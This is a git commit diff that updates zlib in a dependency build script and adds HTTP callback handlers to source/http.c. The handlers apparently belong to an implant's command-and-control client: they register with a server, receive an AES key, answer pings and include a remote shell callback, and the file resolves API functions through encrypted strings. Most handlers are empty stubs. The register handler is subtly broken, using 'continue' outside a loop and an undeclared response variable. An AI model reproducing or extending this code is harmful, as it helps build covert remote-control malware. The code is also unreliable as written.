diff options
author | lns <matzeton@googlemail.com> | 2022-05-31 20:33:17 +0200 |
---|---|---|
committer | lns <matzeton@googlemail.com> | 2022-05-31 20:33:17 +0200 |
commit | 722a720fdbc85e8d9107edd16e9d3be13b4a0de6 (patch) | |
tree | c863d8c3609885cc4db1507a74649af043e208cd | |
parent | 483e60c635b5c91fcd697006507b21ae2e881859 (diff) |
bump zLib
* added some http callbacks
Signed-off-by: lns <matzeton@googlemail.com>
-rwxr-xr-x | deps/makedeps.sh | 2 | ||||
-rw-r--r-- | deps/sha512.chksms | 2 | ||||
-rw-r--r-- | source/http.c | 66 |
3 files changed, 68 insertions, 2 deletions
diff --git a/deps/makedeps.sh b/deps/makedeps.sh index 0c81207..bccdb8f 100755 --- a/deps/makedeps.sh +++ b/deps/makedeps.sh @@ -72,7 +72,7 @@ export NASM=nasm-2.12.02 #export TOR=tor-0.3.0.9 export PKGCONFIG=pkg-config-0.29.2 export OPENSSL=openssl-1.1.1f -export ZLIB=zlib-1.2.11 +export ZLIB=zlib-1.2.12 export LIBEVENT=libevent-2.1.8-stable export BUILDDIRS="build_python build_binutils build_gcc build_musl build_tor build_mingw_binutils build_mingw_hdr build_mingw_crt build_mingw_gcc build_nasm build_mingw_winpthread build_pkgconfig build_mingw_openssl build_mingw_zlib build_mingw_libevent build_mingw_tor" diff --git a/deps/sha512.chksms b/deps/sha512.chksms index 3ab8c85..d70b063 100644 --- a/deps/sha512.chksms +++ b/deps/sha512.chksms @@ -8,6 +8,6 @@ a0340bb83fb0ac0d3f7e0bcd06f6d5aa21e464ef319ab057cfacff036aa1f0d53e73a8b0ec2a00fd 03f1c97380cec892f2c465f7e3e3c99a55b5a7b7b966f71fba9398940ed332b7d960770ce75fafe549feaa70636edbf94b48b848137c9df3b0c8adb1dcbb1394 nasm-2.12.02.tar.gz 4861ec6428fead416f5cbbbb0bbad10b9152967e481d4b0ff2eb396a9f297f552984c9bb72f6864a37dcd8fca1d9ccceda3ef18d8f121938dbe4fdf2b870fe75 pkg-config-0.29.2.tar.gz b00bd9b5ad5298fbceeec6bb19c1ab0c106ca5cfb31178497c58bf7e0e0cf30fcc19c20f84e23af31cc126bf2447d3e4f8461db97bafa7bd78f69561932f000c openssl-1.1.1f.tar.gz -73fd3fff4adeccd4894084c15ddac89890cd10ef105dd5e1835e1e9bbb6a49ff229713bd197d203edfa17c2727700fce65a2a235f07568212d820dca88b528ae zlib-1.2.11.tar.gz +cc2366fa45d5dfee1f983c8c51515e0cff959b61471e2e8d24350dea22d3f6fcc50723615a911b046ffc95f51ba337d39ae402131a55e6d1541d3b095d6c0a14 zlib-1.2.12.tar.gz a2fd3dd111e73634e4aeb1b29d06e420b15c024d7b47778883b5f8a4ff320b5057a8164c6d50b53bd196c79d572ce2639fe6265e03a93304b09c22b41e4c2a17 libevent-2.1.8-stable.tar.gz 24d3cb349d07a7f2f75c78593416470293d8027eee91ef8547a667222ed9ad91fc3d16a127a1988eefff3878accdf070c1b3aaff4e185dcb79503d8146f15b05 isl-0.20.tar.gz diff --git a/source/http.c b/source/http.c index 95a3538..37f92de 100644 --- a/source/http.c +++ b/source/http.c @@ -55,8 +55,74 @@ struct HttpApi { uint32_t next_ping; }; +typedef int (*http_callback)(struct HttpApi *api, struct http_args *args); + +struct HttpCallback { + uint16_t type; + http_callback callback; + uint16_t state; +}; + static struct HttpApi* hApi = NULL; +#define HTTP_CALLBACK(name) static int name(struct HttpApi *api, struct http_args *args) +HTTP_CALLBACK(rc_info_cb); +HTTP_CALLBACK(rc_register_cb); +HTTP_CALLBACK(rc_ping_cb); +HTTP_CALLBACK(rc_shell_cb); + +#define HTTP_CALLBACK_ENTRY(rc, cb, state) { .type = rc, .callback = cb, .state = state } +#define DEFAULT_HTTP_CALLBACK_ENTRY(rc, cb) HTTP_CALLBACK_ENTRY(rc, cb, 0) +static const struct HttpCallback callbacks[] = { + DEFAULT_HTTP_CALLBACK_ENTRY(RC_INFO, rc_info_cb), + HTTP_CALLBACK_ENTRY(RC_REGISTER, rc_register_cb, ST_UNAUTH), + DEFAULT_HTTP_CALLBACK_ENTRY(RC_PING, rc_ping_cb), + DEFAULT_HTTP_CALLBACK_ENTRY(RC_SHELL, rc_shell_cb), +}; + + +HTTP_CALLBACK(rc_info_cb) +{ + return 0; +} + +HTTP_CALLBACK(rc_register_cb) +{ + if (hApi->state & ST_UNAUTH || hResp->respCode == RC_REGISTER) { + /* request aeskey, etc, ... */ + if (hResp->respCode != RC_REGISTER || hResp->pkgsiz != sizeof(struct resp_register)) { +#ifdef _PRE_RELEASE + COMPAT(printf)("I wanted an RC_REGISTER pkg but did not get a valid one! (Code: %u (0x%X), Size: %u (0x%X))\n", + hResp->respCode, hResp->respCode, hResp->pkgsiz, hResp->pkgsiz); +#endif + continue; + } + struct resp_register* rsp = (struct resp_register*)&hResp->pkgbuf[0]; + COMPAT(memcpy)(&hApi->aeskey[0], &rsp->aeskey[0], AESKEY_SIZ); +#ifdef _PRE_RELEASE + if (!(hApi->state & ST_UNAUTH)) { + COMPAT(printf)("%s\n", "Re-Register forced"); + } +#endif + hApi->state &= ~ST_UNAUTH; +#ifdef _PRE_RELEASE + COMPAT(printf)("AES key: "); + __printByteBuf((const rrbuff)&hApi->aeskey[0], AESKEY_SIZ); + COMPAT(printf)("Next Ping: %u (0x%X)\n", rsp->next_ping, rsp->next_ping); +#endif + } + return 0; +} + +HTTP_CALLBACK(rc_ping_cb) +{ + return 0; +} + +HTTP_CALLBACK(rc_shell_cb) +{ + return 0; +} #define DECRYPT_AND_LIBGETPROC(i, lib, type, dest) { DBUF(i, tmp); dest = (type)getproc(lib, tmp); } #define DECRYPT_AND_GETPROC(i, type, dest) DECRYPT_AND_LIBGETPROC(i, httplib, type, dest) |